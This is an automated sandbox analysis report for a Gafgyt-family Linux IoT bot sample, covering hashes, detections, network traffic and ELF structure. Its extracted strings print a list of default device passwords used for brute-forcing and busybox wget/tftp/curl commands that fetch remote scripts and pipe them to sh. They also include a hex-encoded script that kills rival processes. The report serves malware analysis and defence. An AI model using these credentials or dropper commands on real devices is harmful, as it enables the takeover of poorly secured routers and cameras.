Loading Joe Sandbox Report ...

Edit tour

Linux Analysis Report
la.bot.sh4.elf

Overview

General Information

Sample name:la.bot.sh4.elf
Analysis ID:1545410
MD5:370d064369442939ed71f20c884cdcda
SHA1:85ab6c13c9a8983b256a7403e78ea1959336db59
SHA256:27120fcaec03f08333d07659a7b8b0e67291adf007a83521900d20d968487317
Tags:elfuser-abuse_ch
Infos:

Detection

Score:48
Range:0 - 100
Whitelisted:false

Signatures

Multi AV Scanner detection for submitted file
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1545410
Start date and time:2024-10-30 14:27:04 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 23s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:la.bot.sh4.elf
Detection:MAL
Classification:mal48.linELF@0/0@0/0
  • VT rate limit hit for: la.bot.sh4.elf
Command:/tmp/la.bot.sh4.elf
PID:6216
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped
  • system is lnxubuntu20
  • la.bot.sh4.elf (PID: 6216, Parent: 6113, MD5: 8943e5f8f8c280467b4472c15ae93ba9) Arguments: /tmp/la.bot.sh4.elf
  • cleanup
No yara matches
No Suricata rule has matched

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Source: la.bot.sh4.elfReversingLabs: Detection: 34%
Source: la.bot.sh4.elfString: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.sh4.elfString: l/proc//exe|ash|login|wget|curl|tftp|ntpdate|ftp/lib//lib64//fd/mountinfo/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/self/exe/. /proc/telnetd|upnpc-static|udhcpc|/usr/bin/inetd|ntpclient|boa|lighttpd|httpd|goahead|mini_http|miniupnpd|dnsmasq|sshd|dhcpd|upnpd|watchdog|syslogd|klogd|uhttpd|uchttpd|pppd|dhclient/dev/watchdog/dev/misc/watchdogM
Source: la.bot.sh4.elfString: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Source: /tmp/la.bot.sh4.elf (PID: 6216)Socket: 127.0.0.1:1234Jump to behavior
Source: global trafficTCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global trafficTCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global trafficTCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
Source: la.bot.sh4.elfString found in binary or memory: http:///curl.sh
Source: la.bot.sh4.elfString found in binary or memory: http:///wget.sh
Source: unknownNetwork traffic detected: HTTP traffic on port 43928 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 42836 -> 443
Source: Initial sampleString containing 'busybox' found: usage: busybox
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sampleString containing 'busybox' found: /bin/busybox
Source: Initial sampleString containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo >
Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://
Source: Initial sampleString containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sampleString containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sampleString containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sampleString containing 'busybox' found: usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sampleString containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Source: ELF static info symbol of initial sample.symtab present: no
Source: classification engineClassification label: mal48.linELF@0/0@0/0
Source: /tmp/la.bot.sh4.elf (PID: 6216)Queries kernel information via 'uname': Jump to behavior
Source: la.bot.sh4.elf, 6216.1.00007ffe71d8b000.00007ffe71dac000.rw-.sdmpBinary or memory string: /usr/bin/qemu-sh4
Source: la.bot.sh4.elf, 6216.1.00005634f3246000.00005634f32a9000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/sh4
Source: la.bot.sh4.elf, 6216.1.00005634f3246000.00005634f32a9000.rw-.sdmpBinary or memory string: 4V5!/etc/qemu-binfmt/sh4
Source: la.bot.sh4.elf, 6216.1.00007ffe71d8b000.00007ffe71dac000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Source: la.bot.sh4.elf, 6216.1.00007ffe71d8b000.00007ffe71dac000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-sh4/tmp/la.bot.sh4.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.sh4.elf
ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity Information1
Scripting
Valid AccountsWindows Management Instrumentation1
Scripting
Path InterceptionDirect Volume AccessOS Credential Dumping11
Security Software Discovery
Remote ServicesData from Local System1
Encrypted Channel
Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
Application Layer Protocol
Exfiltration Over BluetoothNetwork Denial of Service
No configs have been found
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Number of created Files
  • Is malicious
  • Internet

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand
SourceDetectionScannerLabelLink
la.bot.sh4.elf34%ReversingLabsLinux.Backdoor.Gafgyt
No Antivirus matches
No Antivirus matches
No Antivirus matches
No contacted domains info
NameSourceMaliciousAntivirus DetectionReputation
http:///wget.shla.bot.sh4.elffalse
    unknown
    http:///curl.shla.bot.sh4.elffalse
      unknown
      • No. of IPs < 25%
      • 25% < No. of IPs < 50%
      • 50% < No. of IPs < 75%
      • 75% < No. of IPs
      IPDomainCountryFlagASNASN NameMalicious
      109.202.202.202
      unknownSwitzerland
      13030INIT7CHfalse
      91.189.91.43
      unknownUnited Kingdom
      41231CANONICAL-ASGBfalse
      91.189.91.42
      unknownUnited Kingdom
      41231CANONICAL-ASGBfalse
      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
      109.202.202.202kpLwzBouH4.elfGet hashmaliciousUnknownBrowse
      • ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb
      91.189.91.43la.bot.mipsel.elfGet hashmaliciousUnknownBrowse
        la.bot.m68k.elfGet hashmaliciousUnknownBrowse
          la.bot.mips.elfGet hashmaliciousUnknownBrowse
            .main.elfGet hashmaliciousXmrigBrowse
              Mozi.m.elfGet hashmaliciousUnknownBrowse
                hVCdz9eoBM.elfGet hashmaliciousUnknownBrowse
                  sshd.elfGet hashmaliciousUnknownBrowse
                    arm5.elfGet hashmaliciousUnknownBrowse
                      la.bot.arm.elfGet hashmaliciousUnknownBrowse
                        la.bot.sparc.elfGet hashmaliciousUnknownBrowse
                          91.189.91.42la.bot.mipsel.elfGet hashmaliciousUnknownBrowse
                            la.bot.m68k.elfGet hashmaliciousUnknownBrowse
                              la.bot.mips.elfGet hashmaliciousUnknownBrowse
                                .main.elfGet hashmaliciousXmrigBrowse
                                  Mozi.m.elfGet hashmaliciousUnknownBrowse
                                    hVCdz9eoBM.elfGet hashmaliciousUnknownBrowse
                                      sshd.elfGet hashmaliciousUnknownBrowse
                                        arm5.elfGet hashmaliciousUnknownBrowse
                                          la.bot.arm.elfGet hashmaliciousUnknownBrowse
                                            la.bot.sparc.elfGet hashmaliciousUnknownBrowse
                                              No context
                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                              CANONICAL-ASGBla.bot.mipsel.elfGet hashmaliciousUnknownBrowse
                                              • 91.189.91.42
                                              la.bot.m68k.elfGet hashmaliciousUnknownBrowse
                                              • 91.189.91.42
                                              la.bot.mips.elfGet hashmaliciousUnknownBrowse
                                              • 91.189.91.42
                                              .main.elfGet hashmaliciousXmrigBrowse
                                              • 91.189.91.42
                                              Mozi.m.elfGet hashmaliciousUnknownBrowse
                                              • 91.189.91.42
                                              hVCdz9eoBM.elfGet hashmaliciousUnknownBrowse
                                              • 91.189.91.42
                                              sshd.elfGet hashmaliciousUnknownBrowse
                                              • 91.189.91.42
                                              arm5.elfGet hashmaliciousUnknownBrowse
                                              • 91.189.91.42
                                              la.bot.arm.elfGet hashmaliciousUnknownBrowse
                                              • 91.189.91.42
                                              la.bot.sparc.elfGet hashmaliciousUnknownBrowse
                                              • 91.189.91.42
                                              CANONICAL-ASGBla.bot.mipsel.elfGet hashmaliciousUnknownBrowse
                                              • 91.189.91.42
                                              la.bot.m68k.elfGet hashmaliciousUnknownBrowse
                                              • 91.189.91.42
                                              la.bot.mips.elfGet hashmaliciousUnknownBrowse
                                              • 91.189.91.42
                                              .main.elfGet hashmaliciousXmrigBrowse
                                              • 91.189.91.42
                                              Mozi.m.elfGet hashmaliciousUnknownBrowse
                                              • 91.189.91.42
                                              hVCdz9eoBM.elfGet hashmaliciousUnknownBrowse
                                              • 91.189.91.42
                                              sshd.elfGet hashmaliciousUnknownBrowse
                                              • 91.189.91.42
                                              arm5.elfGet hashmaliciousUnknownBrowse
                                              • 91.189.91.42
                                              la.bot.arm.elfGet hashmaliciousUnknownBrowse
                                              • 91.189.91.42
                                              la.bot.sparc.elfGet hashmaliciousUnknownBrowse
                                              • 91.189.91.42
                                              INIT7CHla.bot.mipsel.elfGet hashmaliciousUnknownBrowse
                                              • 109.202.202.202
                                              la.bot.m68k.elfGet hashmaliciousUnknownBrowse
                                              • 109.202.202.202
                                              la.bot.mips.elfGet hashmaliciousUnknownBrowse
                                              • 109.202.202.202
                                              .main.elfGet hashmaliciousXmrigBrowse
                                              • 109.202.202.202
                                              Mozi.m.elfGet hashmaliciousUnknownBrowse
                                              • 109.202.202.202
                                              hVCdz9eoBM.elfGet hashmaliciousUnknownBrowse
                                              • 109.202.202.202
                                              sshd.elfGet hashmaliciousUnknownBrowse
                                              • 109.202.202.202
                                              arm5.elfGet hashmaliciousUnknownBrowse
                                              • 109.202.202.202
                                              la.bot.arm.elfGet hashmaliciousUnknownBrowse
                                              • 109.202.202.202
                                              la.bot.sparc.elfGet hashmaliciousUnknownBrowse
                                              • 109.202.202.202
                                              No context
                                              No context
                                              No created / dropped files found
                                              File type:ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped
                                              Entropy (8bit):6.8897384781248405
                                              TrID:
                                              • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                                              File name:la.bot.sh4.elf
                                              File size:66'856 bytes
                                              MD5:370d064369442939ed71f20c884cdcda
                                              SHA1:85ab6c13c9a8983b256a7403e78ea1959336db59
                                              SHA256:27120fcaec03f08333d07659a7b8b0e67291adf007a83521900d20d968487317
                                              SHA512:472f322ca4a84a071a37b3d40fe87b9e4c2fc60d7c7994939297876da7b89af23b8fcbed67ec99d6d0820da15c91f13c869b91056c43bae24a498fcd1530de45
                                              SSDEEP:1536:XClKmKN8hFb1PS3d3wn8gpfegv4tf7s7abCeInzsT:XClCM5SRwn8gz45I7abkn
                                              TLSH:49637DA3C9682E14CA4C9478B530CB7D8F439541CA562FD7D5AAD6B95003ED8FC0E6F8
                                              File Content Preview:.ELF..............*.......@.4...........4. ...(...............@...@...........................A...A.X....E..........Q.td............................././"O.n........#.*@........#.*@.....o&O.n...l..............................././.../.a"O.!...n...a.b("...q.

                                              ELF header

                                              Class:ELF32
                                              Data:2's complement, little endian
                                              Version:1 (current)
                                              Machine:<unknown>
                                              Version Number:0x1
                                              Type:EXEC (Executable file)
                                              OS/ABI:UNIX - System V
                                              ABI Version:0
                                              Entry Point Address:0x4001a0
                                              Flags:0x9
                                              ELF Header Size:52
                                              Program Header Offset:52
                                              Program Header Size:32
                                              Number of Program Headers:3
                                              Section Header Offset:66456
                                              Section Header Size:40
                                              Number of Section Headers:10
                                              Header String Table Index:9
                                              NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                                              NULL0x00x00x00x00x0000
                                              .initPROGBITS0x4000940x940x300x00x6AX004
                                              .textPROGBITS0x4000e00xe00xdbc00x00x6AX0032
                                              .finiPROGBITS0x40dca00xdca00x240x00x6AX004
                                              .rodataPROGBITS0x40dcc40xdcc40x1f280x00x2A004
                                              .ctorsPROGBITS0x4100000x100000x80x00x3WA004
                                              .dtorsPROGBITS0x4100080x100080x80x00x3WA004
                                              .dataPROGBITS0x4100140x100140x3440x00x3WA004
                                              .bssNOBITS0x4103580x103580x42900x00x3WA004
                                              .shstrtabSTRTAB0x00x103580x3e0x00x0001
                                              TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                                              LOAD0x00x4000000x4000000xfbec0xfbec6.98800x5R E0x10000.init .text .fini .rodata
                                              LOAD0x100000x4100000x4100000x3580x45e83.84540x6RW 0x10000.ctors .dtors .data .bss
                                              GNU_STACK0x00x00x00x00x00.00000x7RWE0x4
                                              TimestampSource PortDest PortSource IPDest IP
                                              Oct 30, 2024 14:27:43.739856958 CET43928443192.168.2.2391.189.91.42
                                              Oct 30, 2024 14:27:49.371150970 CET42836443192.168.2.2391.189.91.43
                                              Oct 30, 2024 14:27:50.650957108 CET4251680192.168.2.23109.202.202.202
                                              Oct 30, 2024 14:28:03.961122036 CET43928443192.168.2.2391.189.91.42
                                              Oct 30, 2024 14:28:16.247448921 CET42836443192.168.2.2391.189.91.43
                                              Oct 30, 2024 14:28:20.342807055 CET4251680192.168.2.23109.202.202.202
                                              Oct 30, 2024 14:28:44.915402889 CET43928443192.168.2.2391.189.91.42

                                              System Behavior

                                              Start time (UTC):13:27:42
                                              Start date (UTC):30/10/2024
                                              Path:/tmp/la.bot.sh4.elf
                                              Arguments:/tmp/la.bot.sh4.elf
                                              File size:4139976 bytes
                                              MD5 hash:8943e5f8f8c280467b4472c15ae93ba9